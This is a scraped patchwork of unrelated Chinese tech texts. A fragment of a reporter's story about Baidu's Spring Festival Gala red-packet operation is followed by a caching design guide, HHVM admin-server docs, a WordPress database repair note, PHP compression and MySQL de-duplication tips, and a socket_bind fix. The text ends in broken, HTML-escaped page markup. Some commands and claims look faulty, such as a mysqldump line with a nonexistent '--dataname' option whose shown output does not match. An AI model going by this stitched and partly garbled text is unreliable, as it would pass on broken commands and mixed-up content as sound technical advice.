贺峰评估了一下百度 CDN 的占用量,马上下令,把链接指向百度自家的下载接口,让大家不用通过第三方市场,而是直接从百度家下载百度 App。就这样,下载高峰直接冲击百度自家网络,一点一点,几百万人都安装了百度 App。

编辑

请点击输入图片描述

这一切被汪瑫看在眼里。

他的第一反应是:我厂真牛逼。他的第二反应是:这300万人下载了 App 之后,肯定是要登录的啊,我负责的登录系统看来马上就要挂了。。。。

还好,有惊无险,大家分散下载了 App,也就分散登录 App,并没有对登录系统带来致命的打击。

随着春晚的进行,访问百度 App 的流量一轮比一轮大,逼近预计中的峰值。

百度20年积累下来的遍布全国的数据通路,顺利扛过了前三轮红包的数据洪峰,只剩零点钟声敲响前的最后一次。根据预测,这将是最大的一波浪潮。

在最后一次红包到来之前23分钟,贺峰突然接到驻场春晚那两个同学的消息:根据测算,春晚比预计延迟了4分钟。

编辑

请点击输入图片描述

贺峰心里咯噔一下。

这会造成百度 App 红包开抢的时间早于主持人播报的时间。也就是说,听到主持人播报才进来的用户,很可能发现红包已经被准点动手的用户抢完了。。。

贺峰要做一个决定:是保持原计划放开红包,还是要按照春晚的进度延后 App 上红包开抢的时间。

把这么大规模的调整部署到10万台服务器上,起码需要五分钟。

所有人都看着贺峰。贺峰盯着屏幕,两手一压,对大伙说:再等等。

就在红包开启前十分钟,贺峰判断央视应该是无法抢回时间了,下令马上对10万台服务器发出指令,延后4分钟开启红包系统。

上天眷顾,最后百度 App 红包开启的时间,和主持人宣布红包开抢的时间严丝合缝。

一瞬间,上亿人手机屏幕上显示着百度 App 的红包界面,巨大的数据浪潮涌向北京和南京两地的数据机房。那一刻,百度大厦里1000多位同事,百度散落在各地机房的100位同事,带着备用零件守候在机房的100多位服务器厂商的工程师,三大运营商为了保护网络通畅而留守在各地机房的1000多位同事,那些中国通信行业和互联网行业的梦想者,用自己的付出搭建出了人类历史上最宽的信息通路。

暗夜无声,大地上烟花四起。

这个古老的民族,迈入了新的一年。

(六)那些小事 

燃烧了四个半小时的红包系统渐渐熄火。

间断了四个半小时的凤巢系统缓缓启动。

伴随着10万台服务器的嘶嘶声,百度这架火箭完成了太空中的第二次惊险变轨。

指挥部里,欢声雷动。

编辑

请点击输入图片描述

直到这个时候,吴永巍、震宇、贺峰、陈曦洋他们才敢确定,这个曾经击垮了阿里巴巴和腾讯的春晚,并没有击垮百度。他们用了三十个日夜,证明了自己是当之无愧的“老司机”;证明了自己对春晚并不是一无所知。

可叹的是,如此宏大的工程,调动了全球的供应链体系,调动了全中国的网络带宽,调动了全百度的技术资源。中间如果百度系统有任何一个技术环节卡住,百度云的服务器有任何一个螺丝钉松动,百度工程师、商务采购团队有任何一个人掉链子,全中国人都会面对一个完全不同的结局。

百度无疑是幸运的,但这世界上,只有勇者才有资格谈运气。

我听到很多百度同学回忆起那个瞬间,他们描绘的,正如《少林足球》里那个场景:

历经磨难,少林师兄师弟的武功全部觉醒,周星驰跪在地上,说:欢迎各位师兄弟归位!

编辑

请点击输入图片描述

直到正月末,我来到百度科技园来采访春晚红包故事的时候,我依然能够感觉到,在大厦里洋溢着的喜悦气氛。

哦对了,还有一些小事忘记交代。

那两个被“质押”在央视的小伙伴,期待中的指责并没有来,反而被冲进来的央视同事们握着手说:百度真是太牛了,你们是第一个没有出现问题的合作伙伴。你们不是有 AI 技术吗?你们不是有视频技术吗?合作起来呀~

编辑

请点击输入图片描述

而好奇的人们,也终于打听到了前几天神秘事件的原因:

宋磊羞涩地表示,之所以每天凌晨两点发朋友圈,是因为他怕老婆想多了,晒朋友圈以证清白。。。

而汪瑫消失的那一天,是飞回上海给儿子过两岁生日。因为去年儿子一周岁的生日时,他就在外地加班,没能陪他。这次儿子喊着要爸爸,他才连夜飞回去一天。第二天给儿子过完生日,晚上八点他陪儿子上床睡觉,确定儿子睡熟了,才赶紧跑出来,赶十点的飞机飞回北京。

而且,除夕那天其实是吴永巍的生日。但直到整个春晚战役结束,第二天凌晨他才告诉几个小伙伴这件事儿。“我和兄弟们过了最有意义的一个生日。”他说。

离别之前,我颇为郑重地问陈曦洋:“为百度付出了这么多,你觉得值得吗?”

“我只是想证明百度。”陈曦洋说完,沉默良久。

十一年前,我一毕业就加入百度,我的所有技术积累都是百度给我的。我把百度当成家。之前,百度遇到很多问题,我比外面的人更难受,就像对自己的孩子一样,恨铁不成钢。

 

我记得,在2016年百度最困难的时候,我们团队去杭州团建,秋天的杭州特别美。有一位家就在杭州附近的同学,回来之后就辞职去了杭州。

 

我知道,大家都有权做出自己的选择。从2016年到现在,几乎每周都有猎头给我打电话,但我从来都是直接挂掉。我觉得,总有人要让百度变得更好,而我应该是那些人中的一员。

他就这么安静地说着。

听到这里,我突然明白,在春晚红包成功的那一刻,那些百度技术人眼里的泪花,告慰的不是过去一个月的艰苦卓绝,而是十年前的自己,那个不解风情却无问西东的少年。

编辑

请点击输入图片描述

陈曦洋

他们在漫长的岁月里安静地忍受着孤独,这一次却像疯子一样拼尽全力,押上全部韶华和热血。他们也许并没想赢,他们,只是不想输。

有人说,生活是一场战役,结局或是千秋标榜,或是万古遗憾。

但我更相信,岁月是一张长长的考题,没人会逼你交卷。

你尽可以用一生的时间,慢慢给出自己的答案。

编辑

请点击输入图片描述

再自我介绍一下吧。我是史中,是一个倾心故事的科技记者。我的日常是和各路大神聊天。如果想和我做朋友,

可以搜索微信:shizhongpro

或者关注微博:@史中方枪枪 @浅黑科技

不想走丢的话,你也可以关注我的公众号“浅黑科技”。(记得给浅黑加星标哦)

编辑

请点击输入图片描述

岁月

是一张长长的考卷

编辑

请点击输入图片描述

阅读原文

如何优雅的设计和使用缓存?

背景

在之前的文章中你应该知道的缓存进化史介绍了爱奇艺的缓存架构和缓存的进化历史。俗话说得好,工欲善其事,必先利其器,有了好的工具肯定得知道如何用好这些工具,本篇将介绍如何利用好缓存。

1.确认是否需要缓存

在使用缓存之前,需要确认你的项目是否真的需要缓存。使用缓存会引入的一定的技术复杂度,后文也将会一一介绍这些复杂度。一般来说从两个方面来个是否需要使用缓存:

  1. CPU占用:如果你有某些应用需要消耗大量的cpu去计算,比如正则表达式,如果你使用正则表达式比较频繁,而其又占用了很多CPU的话,那你就应该使用缓存将正则表达式的结果给缓存下来。
  2. 数据库IO占用:如果你发现你的数据库连接池比较空闲,那么不应该用缓存。但是如果数据库连接池比较繁忙,甚至经常报出连接不够的报警,那么是时候应该考虑缓存了。笔者曾经有个服务,被很多其他服务调用,其他时间都还好,但是在每天早上10点的时候总是会报出数据库连接池连接不够的报警,经过排查,发现有几个服务选择了在10点做定时任务,大量的请求打过来,DB连接池不够,从而报出连接池不够的报警。这个时候有几个选择,我们可以通过扩容机器来解决,也可以通过增加数据库连接池来解决,但是没有必要增加这些成本,因为只有在10点的时候才会出现这个问题。后来引入了缓存,不仅解决了这个问题,而且还增加了读的性能。

如果并没有上述两个问题,那么你不必为了增加缓存而缓存。

2.选择合适的缓存

缓存又分进程内缓存和分布式缓存两种。很多人包括笔者在开始选缓存框架的时候都感到了困惑:网上的缓存太多了,大家都吹嘘自己很牛逼,我该怎么选择呢?

2.1 选择合适的进程缓存

首先看看几个比较常用的缓存的比较,具体原理可以参考你应该知道的缓存进化史:

比较项 ConcurrentHashMap LRUMap Ehcache Guava Cache Caffeine
读写性能 很好,分段锁 一般,全局加锁 好,需要做淘汰操作 很好
淘汰算法 LRU,一般 支持多种淘汰算法,LRU,LFU,FIFO LRU,一般 W-TinyLFU, 很好
功能丰富程度 功能比较简单 功能比较单一 功能很丰富 功能很丰富,支持刷新和虚引用等 功能和Guava Cache类似
工具大小 jdk自带类,很小 基于LinkedHashMap,较小 很大,最新版本1.4MB 是Guava工具类中的一个小部分,较小 一般,最新版本644KB
是否持久化
是否支持集群
  • 对于ConcurrentHashMap来说,比较适合缓存比较固定不变的元素,且缓存的数量较小的。虽然从上面表格中比起来有点逊色,但是其由于是jdk自带的类,在各种框架中依然有大量的使用,比如我们可以用来缓存我们反射的Method,Field等等;也可以缓存一些链接,防止其重复建立。在Caffeine中也是使用的ConcurrentHashMap来存储元素。
  • 对于LRUMap来说,如果不想引入第三方包,又想使用淘汰算法淘汰数据,可以使用这个。
  • 对于Ehcache来说,由于其jar包很大,较重量级。对于需要持久化和集群的一些功能的,可以选择Ehcache。笔者没怎么使用过这个缓存,如果要选择的话,可以选择分布式缓存来替代Ehcache。
  • 对于Guava Cache来说,Guava这个jar包在很多Java应用程序中都有大量的引入,所以很多时候其实是直接用就好了,并且其本身是轻量级的而且功能较为丰富,在不了解Caffeine的情况下可以选择Guava Cache。
  • 对于Caffeine来说,笔者是非常推荐的,其在命中率,读写性能上都比Guava Cache好很多,并且其API和Guava cache基本一致,甚至会多一点。在真实环境中使用Caffeine,取得过不错的效果。

总结一下:如果不需要淘汰算法则选择ConcurrentHashMap,如果需要淘汰算法和一些丰富的API,这里推荐选择Caffeine。

2.2 选择合适的分布式缓存

这里选取三个比较出名的分布式缓存来作为比较,MemCache(没有实战使用过),Redis(在美团又叫Squirrel),Tair(在美团又叫Cellar)。不同的分布式缓存功能特性和实现原理方面有很大的差异,因此他们所适应的场景也有所不同。

比较项 MemCache Squirrel/Redis Cellar/Tair
数据结构 只支持简单的Key-Value结构 String,Hash, List, Set, Sorted Set String,HashMap, List,Set
持久化 不支持 支持 支持
容量大小 数据纯内存,数据存储不宜过多 数据全内存,资源成本考量不宜超过100GB 可以配置全内存或内存+磁盘引擎,数据容量可无限扩充
读写性能 很高 很高(RT0.5ms左右) String类型比较高(RT1ms左右),复杂类型比较慢(RT5ms左右)
  • MemCache:这一块接触得比较少,不做过多的推荐。其吞吐量较大,但是支持的数据结构较少,并且不支持持久化。
  • Redis:支持丰富的数据结构,读写性能很高,但是数据全内存,必须要考虑资源成本,支持持久化。
  • Tair: 支持丰富的数据结构,读写性能较高,部分类型比较慢,理论上容量可以无限扩充。

总结:如果服务对延迟比较敏感,Map/Set数据也比较多的话,比较适合Redis。如果服务需要放入缓存量的数据很大,对延迟又不是特别敏感的话,那就可以选择Tair。在美团的很多应用中对Tair都有应用,在笔者的项目中使用其存放我们生成的支付token,支付码,用来替代数据库存储。大部分的情况下两者都可以选择,互为替代。

3.多级缓存

很多人一想到缓存马上脑子里面就会出现下面的图:


Redis用来存储热点数据,Redis中没有的数据则直接去数据库访问。

在之前介绍本地缓存的时候,很多人都问我,我已经有Redis了,我干嘛还需要了解Guava,Caffeine这些进程缓存呢。我基本统一回复下面两个答案:

  1. Redis如果挂了或者使用老版本的Redis,其会进行全量同步,此时Redis是不可用的,这个时候我们只能访问数据库,很容易造成雪崩。
  2. 访问Redis会有一定的网络I/O以及序列化反序列化,虽然性能很高但是其终究没有本地方法快,可以将最热的数据存放在本地,以便进一步加快访问速度。这个思路并不是我们做互联网架构独有的,在计算机系统中使用L1,L2,L3多级缓存,用来减少对内存的直接访问,从而加快访问速度。

所以如果仅仅是使用Redis,能满足我们大部分需求,但是当需要追求更高的性能以及更高的可用性的时候,那就不得不了解多级缓存。

3.1使用进程缓存

对于进程内缓存,其本来受限于内存的大小的限制,以及进程缓存更新后其他缓存无法得知,所以一般来说进程缓存适用于:

  1. 数据量不是很大,数据更新频率较低,之前我们有个查询商家名字的服务,在发送短信的时候需要调用,由于商家名字变更频率较低,并且就算是变更了没有及时变更缓存,短信里面带有老的商家名字客户也能接受。利用Caffeine作为本地缓存,size设置为1万,过期时间设置为1个小时,基本能在高峰期解决问题。
  2. 如果数据量更新频繁,也想使用进程缓存的话,那么可以将其过期时间设置为较短,或者设置其较短的自动刷新的时间。这些对于Caffeine或者Guava Cache来说都是现成的API。

3.2使用多级缓存

俗话说得好,世界上没有什么是一个缓存解决不了的事,如果有,那就两个。

一般来说我们选择一个进程缓存和一个分布式缓存来搭配做多级缓存,一般来说引入两个也足够了,如果使用三个,四个的话,技术维护成本会很高,反而有可能会得不偿失,如下图所示:


利用Caffeine做一级缓存,Redis作为二级缓存。

  1. 首先去Caffeine中查询数据,如果有直接返回。如果没有则进行第2步。
  2. 再去Redis中查询,如果查询到了返回数据并在Caffeine中填充此数据。如果没有查到则进行第3步。
  3. 最后去Mysql中查询,如果查询到了返回数据并在Redis,Caffeine中依次填充此数据。

对于Caffeine的缓存,如果有数据更新,只能删除更新数据的那台机器上的缓存,其他机器只能通过超时来过期缓存,超时设定可以有两种策略:

  • 设置成写入后多少时间后过期
  • 设置成写入后多少时间刷新

对于Redis的缓存更新,其他机器立马可见,但是也必须要设置超时时间,其时间比Caffeine的过期长。

为了解决进程内缓存的问题,设计进一步优化:


通过Redis的pub/sub,可以通知其他进程缓存对此缓存进行删除。如果Redis挂了或者订阅机制不靠谱,依靠超时设定,依然可以做兜底处理。

4.缓存更新

一般来说缓存的更新有两种情况:

  • 先删除缓存,再更新数据库。
  • 先更新数据库,再删除缓存。 这两种情况在业界,大家对其都有自己的看法。具体怎么使用还得看各自的取舍。当然肯定会有人问为什么要删除缓存呢?而不是更新缓存呢?你可以想想当有多个并发的请求更新数据,你并不能保证更新数据库的顺序和更新缓存的顺序一致,那就会出现数据库中和缓存中数据不一致的情况。所以一般来说考虑删除缓存。

4.1先删除缓存,再更新数据库

对于一个更新操作简单来说,就是先去各级缓存进行删除,然后更新数据库。这个操作有一个比较大的问题,在对缓存删除完之后,有一个读请求,这个时候由于缓存被删除所以直接会读库,读操作的数据是老的并且会被加载进入缓存当中,后续读请求全部访问的老数据。


对缓存的操作不论成功失败都不能阻塞我们对数据库的操作,那么很多时候删除缓存可以用异步的操作,但是先删除缓存不能很好的适用于这个场景。

先删除缓存也有一个好处是,如果对数据库操作失败了,那么由于先删除的缓存,最多只是造成Cache Miss。

4.2先更新数据库,再删除缓存(推荐)

如果我们使用更新数据库,再删除缓存就能避免上面的问题。但是同样的引入了新的问题,试想一下有一个数据此时是没有缓存的,所以查询请求会直接落库,更新操作在查询请求之后,但是更新操作删除数据库操作在查询完之后回填缓存之前,就会导致我们缓存中和数据库出现缓存不一致。

为什么我们这种情况有问题,很多公司包括Facebook还会选择呢?因为要触发这个条件比较苛刻。

  1. 首先需要数据不在缓存中。
  2. 其次查询操作需要在更新操作先到达数据库。
  3. 最后查询操作的回填比更新操作的删除后触发,这个条件基本很难出现,因为更新操作的本来在查询操作之后,一般来说更新操作比查询操作稍慢。但是更新操作的删除却在查询操作之后,所以这个情况比较少出现。

对比上面4.1的问题来说这种问题的概率很低,况且我们有超时机制保底所以基本能满足我们的需求。如果真的需要追求完美,可以使用二阶段提交,但是其成本和收益一般来说不成正比。

当然还有个问题是如果我们删除失败了,缓存的数据就会和数据库的数据不一致,那么我们就只能靠过期超时来进行兜底。对此我们可以进行优化,如果删除失败的话 我们不能影响主流程那么我们可以将其放入队列后续进行异步删除。

5.缓存挖坑三剑客

大家一听到缓存有哪些注意事项,肯定首先想到的是缓存穿透,缓存击穿,缓存雪崩这三个挖坑的小能手,这里简单介绍一下他们具体是什么以及应对的方法。

5.1缓存穿透

缓存穿透是指查询的数据在数据库是没有的,那么在缓存中自然也没有,所以,在缓存中查不到就会去数据库取查询,这样的请求一多,那么我们的数据库的压力自然会增大。

为了避免这个问题,可以采取下面两个手段:

  1. 约定:对于返回为NULL的依然缓存,对于抛出异常的返回不进行缓存,注意不要把抛异常的也给缓存了。采用这种手段的会增加我们缓存的维护成本,需要在插入缓存的时候删除这个空缓存,当然我们可以通过设置较短的超时时间来解决这个问题。

2. 制定一些规则过滤一些不可能存在的数据,小数据用BitMap,大数据可以用布隆过滤器,比如你的订单ID 明显是在一个范围1-1000,如果不是1-1000之内的数据那其实可以直接给过滤掉。


5.2缓存击穿

对于某些key设置了过期时间,但是其是热点数据,如果某个key失效,可能大量的请求打过来,缓存未命中,然后去数据库访问,此时数据库访问量会急剧增加。

为了避免这个问题,我们可以采取下面的两个手段:

  1. 加分布式锁:加载数据的时候可以利用分布式锁锁住这个数据的Key,在Redis中直接使用setNX操作即可,对于获取到这个锁的线程,查询数据库更新缓存,其他线程采取重试策略,这样数据库不会同时受到很多线程访问同一条数据。
  2. 异步加载:由于缓存击穿是热点数据才会出现的问题,可以对这部分热点数据采取到期自动刷新的策略,而不是到期自动淘汰。淘汰其实也是为了数据的时效性,所以采用自动刷新也可以。

5.3缓存雪崩

缓存雪崩是指缓存不可用或者大量缓存由于超时时间相同在同一时间段失效,大量请求直接访问数据库,数据库压力过大导致系统雪崩。

为了避免这个问题,我们采取下面的手段:

  1. 增加缓存系统可用性,通过监控关注缓存的健康程度,根据业务量适当的扩容缓存。
  2. 采用多级缓存,不同级别缓存设置的超时时间不同,及时某个级别缓存都过期,也有其他级别缓存兜底。
  3. 缓存的过期时间可以取个随机值,比如以前是设置10分钟的超时时间,那每个Key都可以随机8-13分钟过期,尽量让不同Key的过期时间不同。

6.缓存污染

缓存污染一般出现在我们使用本地缓存中,可以想象,在本地缓存中如果你获得了缓存,但是你接下来修改了这个数据,但是这个数据并没有更新在数据库,这样就造成了缓存污染:


上面的代码就造成了缓存污染,通过id获取Customer,但是需求需要修改Customer的名字,所以开发人员直接在取出来的对象中直接修改,这个Customer对象就会被污染,其他线程取出这个数据就是错误的数据。要想避免这个问题需要开发人员从编码上注意,并且代码必须经过严格的review,以及全方位的回归测试,才能从一定程度上解决这个问题。

7.序列化

序列化是很多人都不注意的一个问题,很多人忽略了序列化的问题,上线之后马上报出一下奇怪的错误异常,造成了不必要的损失,最后一排查都是序列化的问题。列举几个序列化常见的问题:

  1. key-value对象过于复杂导致序列化不支持:笔者之前出过一个问题,在美团的Tair内部默认是使用protostuff进行序列化,而美团使用的通讯框架是thfift,thrift的TO是自动生成的,这个TO里面很多复杂的数据结构,但是将其存放到了Tair中。查询的时候反序列化也没有报错,单测也通过,但是到qa测试的时候发现这一块功能有问题,发现有个字段是boolean类型默认是false,把它改成true之后,序列化到tair中再反序列化还是false。定位到是protostuff对于复杂结构的对象(比如数组,List
    等等)支持不是很好,会造成一定的问题。后来对这个TO进行了转换,用普通的Java对象就能进行正确的序列化反序列化。
  2. 添加了字段或者删除了字段,导致上线之后老的缓存获取的时候反序列化报错,或者出现一些数据移位。
  3. 不同的JVM的序列化不同,如果你的缓存有不同的服务都在共同使用(不提倡),那么需要注意不同JVM可能会对Class内部的Field排序不同,而影响序列化。比如下面的代码,在Jdk7和Jdk8中对象A的排列顺序不同,最终会导致反序列化结果出现问题:
//jdk 7
class A{
    int a;
    int b;
}
//jdk 8
class A{
    int b;
    int a;
}
复制代码

序列化的问题必须得到重视,解决的办法有如下几点:

  1. 测试:对于序列化需要进行全面的测试,如果有不同的服务并且他们的JVM不同那么你也需要做这一块的测试,在上面的问题中笔者的单测通过的原因是用的默认数据false,所以根本没有测试true的情况,还好QA给力,将其给测试出来了。
  2. 对于不同的序列化框架都有自己不同的原理,对于添加字段之后如果当前序列化框架不能兼容老的,那么可以换个序列化框架。 对于protostuff来说他是按照Field的顺序来进行反序列化的,对于添加字段我们需要放到末尾,也就是不能插在中间,否则会出现错误。对于删除字段来说,用@Deprecated注解进行标注弃用,如果贸然删除,除非是最后一个字段,否则肯定会出现序列化异常。
  3. 可以使用双写来避免,对于每个缓存的key值可以加上版本号,每次上线版本号都加1,比如现在线上的缓存用的是Key_1,即将要上线的是Key_2,上线之后对缓存的添加是会写新老两个不同的版本(Key_1,Key_2)的Key-Value,读取数据还是读取老版本Key_1的数据,假设之前的缓存的过期时间是半个小时,那么上线半个小时之后,之前的老缓存存量的数据都会被淘汰,此时线上老缓存和新缓存他们的数据基本是一样的,切换读操作到新缓存,然后停止双写。采用这种方法基本能平滑过渡新老Model交替,但是不好的点就是需要短暂的维护两套新老Model,下次上线的时候需要删除掉老Model,增加了维护成本。

8. GC调优

对于大量使用本地缓存的应用,由于涉及到缓存淘汰,那么GC问题必定是常事。如果出现GC较多,STW时间较长,那么必定会影响服务可用性。这一块给出下面几点建议:

  1. 经常查看GC监控,如何发现不正常,需要想办法对其进行优化。
  2. 对于CMS垃圾收集器,如果发现remark过长,如果是大量本地缓存应用的话这个过长应该很正常,因为在并发阶段很容易有很多新对象进入缓存,从而remark阶段扫描很耗时,remark又会暂停。可以开启-XX:CMSScavengeBeforeRemark,在remark阶段前进行一次YGC,从而减少remark阶段扫描gc root的开销。
  3. 可以使用G1垃圾收集器,通过-XX:MaxGCPauseMillis设置最大停顿时间,提高服务可用性。

9. 缓存的监控

很多人对于缓存的监控也比较忽略,基本上线之后如果不报错然后就默认他就生效了。但是存在这个问题,很多人由于经验不足,有可能设置了不恰当的过期时间,或者不恰当的缓存大小导致缓存命中率不高,让缓存就成为了代码中的一个装饰品。所以对于缓存各种指标的监控,也比较重要,通过其不同的指标数据,我们可以对缓存的参数进行优化,从而让缓存达到最优化:


上面的代码中用来记录get操作的,通过Cat记录了获取缓存成功,缓存不存在,缓存过期,缓存失败(获取缓存时如果抛出异常,则叫失败),通过这些指标,我们就能统计出命中率,我们调整过期时间和大小的时候就可以参考这些指标进行优化。

10. 一款好的框架

一个好的剑客没有一把好剑怎么行呢?如果要使用好缓存,一个好的框架也必不可少。在最开始使用的时候大家使用缓存都用一些util,把缓存的逻辑写在业务逻辑中:


上面的代码把缓存的逻辑耦合在业务逻辑当中,如果我们要增加成多级缓存那就需要修改我们的业务逻辑,不符合开闭原则,所以引入一个好的框架是不错的选择。

推荐大家使用JetCache这款开源框架,其实现了Java缓存规范JSR107并且支持自动刷新等高级功能。笔者参考JetCache结合Spring Cache, 监控框架Cat以及美团的熔断限流框架Rhino实现了一套自有的缓存框架,让操作缓存,打点监控,熔断降级,业务人员无需关心。上面的代码可以优化成:


对于一些监控数据也能轻松从大盘上看到:


最后

想要真正的使用好一个缓存,必须要掌握很多的知识,并不是看几个Redis原理分析,就能把Redis缓存用得炉火纯青。对于不同场景,缓存有各自不同的用法,同样的不同的缓存也有自己的调优策略,进程内缓存你需要关注的是他的淘汰算法和GC调优,以及要避免缓存污染等。分布式缓存你需要关注的是他的高可用,如果其不可用了如何进行降级,以及一些序列化的问题。一个好的框架也是必不可少的,对其如果使用得当再加上上面介绍的经验,相信能让你很好的驾驭住这头野马——缓存。

作者:公众号_咖啡拿铁
链接:https://juejin.im/post/5b849878e51d4538c77a974a
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Advanced Usage: Admin Server

link:https://docs.hhvm.com/hhvm/advanced-usage/admin-server

The admin server allows the administrator of the HHVM server to query and control the HHVM server process. It is different and separate than the primary HHVM server that you specified with -m server or -m daemon.

To turn on the admin server, you specify the following options at the command line via -d or within your server.ini (or equivalent).

hhvm.admin_server.port=9001
hhvm.admin_server.password=SomePassword

The port can be any open port. And you should always specify a password to secure the admin port since you don’t want just anybody being able to control your server. In fact, you will probably want to put the admin server behind a firewall. You will specify the password with every request to the admin port.

The admin server uses the same protocol as the main server – so, if you’re using FastCGI mode, the admin server will also be FastCGI, and you will need to configure a front-end webserver (like nginx). If you are using Proxygen mode, the admin server will be an HTTP server.

Querying the Admin Server

Once you have set up your admin server, you can query it via curl.

curl http://localhost:9001/

will bring up a list of commands you can use to control and query your admin server.

The port associated with the curl command is the hhvm.admin_server port set above if you are using ProxygenIf you are using FastCGI, then the port will be the webserver port that is the front end to FastCGI.

Sending a Command

Use one of the commands listed with the curl sequence above, along with your password, to send a command to the admin server.

curl http://localhost:9001/compiler-id?auth=SomePassword

Further Reference

There is a good blog post discussing the admin server even further.

wordpress挂站–Error establishing a database connection

今天莫名其妙我的博客出现Error establishing a database connection,一看应该是数据连接不上了。首先看了下wp-config.php,发现无异常。重启nginx,更换php5均没有效果。网上查了下,说是http://blog.csdn.net/mwb310/article/details/53009920,众说纷纭,有文件格式错误,mysql版本错误等等,试了均无效。

想着不如先把sql dump一份备份,所以

mysqldump -uxxx -pxxx --dataname >wordpress.log

发现:

 

warning : 250 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_search
warning : 156 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_useronline
warning : 252 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_visit
warning : 252 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_visitor
warning : 252 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_term_relationships
warning : 32 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_term_taxonomy
warning : 31 clients are using or haven’t closed the table properly
status : OK

 

 

mysqldump: Got error: 145: Table ‘./xxx/wp_options’ is marked as crashed and should be repaired when using LOCK TABLES

网上参考了:

修复 MySQL 数据库数据表问题可以由 mysqlcheck 来解决,先用 mysqlcheck 查看一下:

# mysqlcheck -u root -p wordpress
Enter password:

然后添加 –auto-repair 参数自动修复,最好修复前备份一下数据库:

# mysqldump -u root -p wordpress > wordpress.sql
Enter password:

# mysqlcheck -u root -p wordpress --auto-repair
Enter password:
wordpress.wp_commentmeta
error    : Table upgrade required. Please do "REPAIR TABLE `wp_commentmeta`" or dump/reload to fix it!
wordpress.wp_comments
error    : Table upgrade required. Please do "REPAIR TABLE `wp_comments`" or dump/reload to fix it!
wordpress.wp_links
error    : Table upgrade required. Please do "REPAIR TABLE `wp_links`" or dump/reload to fix it!
wordpress.wp_options
error    : Table upgrade required. Please do "REPAIR TABLE `wp_options`" or dump/reload to fix it!
wordpress.wp_postmeta
error    : Table upgrade required. Please do "REPAIR TABLE `wp_postmeta`" or dump/reload to fix it!
wordpress.wp_posts
error    : Table upgrade required. Please do "REPAIR TABLE `wp_posts`" or dump/reload to fix it!
wordpress.wp_term_relationships                OK
wordpress.wp_term_taxonomy
error    : Table upgrade required. Please do "REPAIR TABLE `wp_term_taxonomy`" or dump/reload to fix it!
wordpress.wp_terms
error    : Table upgrade required. Please do "REPAIR TABLE `wp_terms`" or dump/reload to fix it!
wordpress.wp_usermeta
error    : Table upgrade required. Please do "REPAIR TABLE `wp_usermeta`" or dump/reload to fix it!
wordpress.wp_users
error    : Table upgrade required. Please do "REPAIR TABLE `wp_users`" or dump/reload to fix it!

Repairing tables
wordpress.wp_commentmeta                       OK
wordpress.wp_comments                          OK
wordpress.wp_links                             OK
wordpress.wp_options                           OK
wordpress.wp_postmeta                          OK
wordpress.wp_posts                             OK
wordpress.wp_term_taxonomy                     OK
wordpress.wp_terms                             OK
wordpress.wp_usermeta                          OK
wordpress.wp_users                             OK

网站恢复了!应该是链接没有释放

PHP字符串压缩存入数据库

网上流传这样方法存入压缩数据到mysql:

$data = array();//需要压缩存入数据库的数据

$eventData = addslashes( gzdeflate( json_encode( $data ), 9 ) ); //压缩数据存入数据库

$logData //数据库存入的压缩数据

$eventData = json_decode( gzinflate( $logData ), true );//获取压缩的数据 从数据库读取

实际使用中发现:
$str = “testsaaaaaaddddddd”;
$str1 = gzcompress($str);
$str2 = utf8_encode((gzdeflate($str)));

需要utf8_encode才能存入mysql的规范!

 

[转]MySQL 【去重留一】一条sql语句完成 思路总结

最后在一个技术群里得到了完美的答案,看这条sql语句:

DELETE consum_record
FROM
    consum_record, 
    (
        SELECT
            min(id) id,
            user_id,
            monetary,
            consume_time
        FROM
            consum_record
        GROUP BY
            user_id,
            monetary,
            consume_time
        HAVING
            count(*) > 1
    ) t2
WHERE
    consum_record.user_id = t2.user_id 
    and consum_record.monetary = t2.monetary
    and consum_record.consume_time  = t2.consume_time
AND consum_record.id > t2.id;

上面这条sql语句,仔细看一下,揣摩出思路也不难,大概也分为3步来理解:

  1. (SELECT min(id) id, user_id, monetary, consume_time FROM consum_record GROUP BY user_id, monetary, consume_time HAVING count(*) > 1 ) t2 查询出重复记录形成一个集合(临时表t2),集合里是每种重复记录的最小ID
  2. consum_record.user_id = t2.user_id and consum_record.monetary = t2.monetary and consum_record.consume_time = t2.consume_time 关联判断重复基准的字段
  3. 根据条件,删除原表中id大于t2中id的记录

看到这个语句的时候,心里想这也太厉害了。这么一个简单的sql语句,竟然可以解决这么复杂的问题,涨姿势了~
运行起来也超级快,原先的代码循环执行,需要116s左右,而这里0.3s就可以了,厉害了~

perfect_sql.png

perfect_sql.png

socket_bind:address already in use 解决办法

先说解决办法:


&lt;/div&gt;
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {

echo &quot;socket_create() failed: reason: &quot; . socket_strerror(socket_last_error()) . &quot;\n&quot;;
}

if(socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1) === false) {

echo &quot;socket_set_option failed: reason: &quot; . socket_strerror(socket_last_error()) . &quot;\n&quot;;

}

下面摘抄的原因:

今天在linux下,编写了一个简单的回射客户/服务器(就是客户机从控制台标准输入并发送数据,服务端接受数据,但是不对数据进行处理,然后将数据返回,交由客户机标准输出),然后遇到了一些问题,郁闷了好长时间,然后就想着将这些东西写下来,跟大家分享分享

1,  客户端和服务端到底那个是先退出的??这个有什么区别吗??(死循环)

2,  为什么有的时候bind:address already in use一直存在???不是说好的2-4分钟吗,,(ctrl + z 和 ctrl + c)

3,  当bind:address already in use不是一直存在时(存在2-4分钟时),如何避免???(SO_REUSEADDR可以让当前的端口立即重用)

为了能让上面的问题更形象一点,好理解一点(下面我添加上了源代码)

服务端:

</b><a class=”ViewSource” title=”view plain” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>view plain</a><span data-mod=”popu_168″><span data-mod=”popu_168″> <a class=”CopyToClipboard” title=”copy” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>copy</a></span></span> <div><embed id=”ZeroClipboardMovie_1″ src=”http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf” type=”application/x-shockwave-flash” width=”18″ height=”18″ align=”middle” name=”ZeroClipboardMovie_1″></embed></div> </div> </div> <ol class=”dp-cpp” start=”1″> <li class=”alt”><span class=”preprocessor”>#include &lt;stdio.h&gt;                                                                                                                              